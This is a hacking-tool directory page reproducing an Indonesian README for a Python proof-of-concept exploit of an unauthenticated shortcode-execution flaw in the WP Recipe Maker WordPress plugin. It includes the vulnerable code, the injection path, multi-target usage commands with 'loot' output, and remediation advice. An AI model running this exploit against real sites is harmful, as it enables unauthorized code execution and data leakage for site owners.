Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
By-Poloss..-.CVE-2026-89274 — Python PoC exploit for CVE-2026-89274, an unauthenticated arbitrary shortcode execution vulnerability in WordPress WP Recipe Maker <= 10.8.1 via recipe comments. | Kitploit
Tools/GitHubGitHub/polosss/by-poloss..-.cve-2026-89274
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubpolosss/by-poloss..-.cve-2026-89274

By-Poloss..-.CVE-2026-89274

Python PoC exploit for CVE-2026-89274, an unauthenticated arbitrary shortcode execution vulnerability in WordPress WP Recipe Maker <= 10.8.1 via recipe comments.

View Repository
5h 13m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-89274 PoC

Poloss : @WPEF0

status python license

Proof-of-Concept exploit untuk CVE-2026-89274 — kerentanan Unauthenticated Arbitrary Shortcode Execution pada plugin WordPress WP Recipe Maker versi ≤ 10.8.1.

⚠️ PERINGATAN HUKUM & ETIKA Script ini disediakan hanya untuk riset keamanan di lingkungan lokal (localhost/lab) dan tidak boleh digunakan terhadap sistem yang bukan milik Anda atau tanpa izin tertulis. Penulis tidak bertanggung jawab atas penyalahgunaan. Penggunaan terhadap sistem pihak ketiga tanpa otorisasi dapat melanggar hukum pidana.


📌 Ringkasan Kerentanan

FieldNilai
CVE IDCVE-2026-89274
TargetWP Recipe Maker (wp-recipe-maker) ≤ 10.8.1
KelasCode Injection (CWE-94) — Arbitrary Shortcode Execution
CVSS v3.19.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
VektorKonten komentar resep (unauthenticated)
Sinkdo_shortcode() pada class-wprm-metadata.php
DampakEksekusi shortcode server-side → kebocoran data via JSON-LD publik
AuthorPoloss

Root Cause (patch-diff 10.8.1 → 10.8.4)

includes/public/class-wprm-metadata.php :: sanitize_metadata()

Vulnerable (10.8.1):

root@kitploit:~
$sanitized = strip_shortcodes( wp_strip_all_tags( do_shortcode( $metadata ) ) );

do_shortcode() mengeksekusi shortcode terlebih dahulu, lalu strip_shortcodes() hanya membersihkan output-nya — tidak ada proteksi sama sekali.

Patched (10.8.4):

root@kitploit:~
$sanitized = strip_shortcodes( wp_strip_all_tags(
    WPRM_Instacart::do_shortcode_safe( $metadata ) ) );

Alur Data

root@kitploit:~
comment_content (komentar publik pada post resep)
   └─> reviewBody        (class-wprm-metadata.php:1017)
       └─> $metadata['review'][]   (line 1028)
           └─> sanitize_metadata( get_metadata( $recipe ) )  (line 374)
               └─> do_shortcode( $reviewBody )  ← SINK EKSEKUSI
                   └─> wp_json_encode() ke <script type="application/ld+json">

Prasyarat

  1. Komentar membawa field wprm-comment-rating (diisi via form komentar).
  2. Komentar disetujui (auto-approve atau manual oleh moderator).
  3. Tidak diperlukan autentikasi.

⚙️ Instalasi

root@kitploit:~
git clone <repo-url>
cd <repo>
python3 -m venv .venv
source .venv/bin/activate     # Windows: .venv\Scripts\activate
# Tidak ada dependensi eksternal — hanya standard library Python 3.

Persyaratan: Python 3.8+.


🚀 Penggunaan

Target tunggal

root@kitploit:~
python3 CVE-2026-89274.py -u http://localhost:8080 -p 10 \
    --shortcode '[wprm-recipe-name id=11]' \
    --marker 'PoC Recipe'

Banyak target (file)

Format targets.txt (satu per baris, url[,post_id]):

root@kitploit:~
http://lab1.local,10
http://lab2.local,25
# baris komentar diabaikan
http://lab3.local,7
root@kitploit:~
python3 CVE-2026-89274.py -f targets.txt -t 10 -o loot.json

Opsi CLI

FlagDefaultDeskripsi
-u, --url—URL target tunggal
-f, --file—File daftar target (url[,post_id] per baris)
-p, --post10ID post yang memuat resep
-t, --threads5Jumlah worker thread
-o, --outputcve-2026-89274-loot.jsonFile output JSON
--shortcode[wprm-recipe-name id=11]Payload shortcode yang dieksekusi
--markerPoC RecipeSubstring pembuktian eksekusi di reviewBody
--rating5Nilai rating WPRM
--timeout25Timeout per-request (detik)

🔍 Cara Kerja Script

  1. Baseline — GET halaman post, ekstrak blok <script type="application/ld+json">, kumpulkan reviewBody.
  2. Submit komentar — POST ke /wp-comments-post.php dengan payload + field wprm-comment-rating.
  3. Polling — GET ulang halaman beberapa kali untuk mendeteksi auto-approval komentar.
  4. Verifikasi — Jika --marker muncul di reviewBody → EXPLOITED. Jika belum → PENDING_APPROVAL.
  5. Output — Simpan hasil ke JSON.

Status Output

StatusArti
EXPLOITEDShortcode tereksekusi & output bocor ke JSON-LD publik
PENDING_APPROVALKomentar terkirim, menunggu persetujuan moderator
FAILHalaman tidak reachable / komentar ditolak / error

📄 Contoh Output JSON

root@kitploit:~
[
  {
    "target": "http://localhost:8080",
    "post_id": 10,
    "shortcode": "[wprm-recipe-name id=11]",
    "marker": "PoC Recipe",
    "author": "poc1716000000",
    "review_bodies": ["PoC Recipe"],
    "status": "EXPLOITED",
    "evidence": "PoC Recipe",
    "note": "shortcode executed server-side; output leaked into public JSON-LD reviewBody",
    "elapsed": 9.12
  }
]

🛡️ Remediasi

  • Upgrade WP Recipe Maker ke ≥ 10.8.4.
  • Sementara, nonaktifkan komentar pada post resep atau set comment_moderation = 1 dan audit komentar secara ketat.
  • Terapkan WAF rule untuk memblokir shortcode syntax ([...]) pada field komentar.
  • Audit komentar lama untuk payload shortcode mencurigakan.

📁 Struktur Repo

root@kitploit:~
.
├── CVE-2026-89274.py           # exploit utama
└── README.md                   # dokumen ini
Download Tool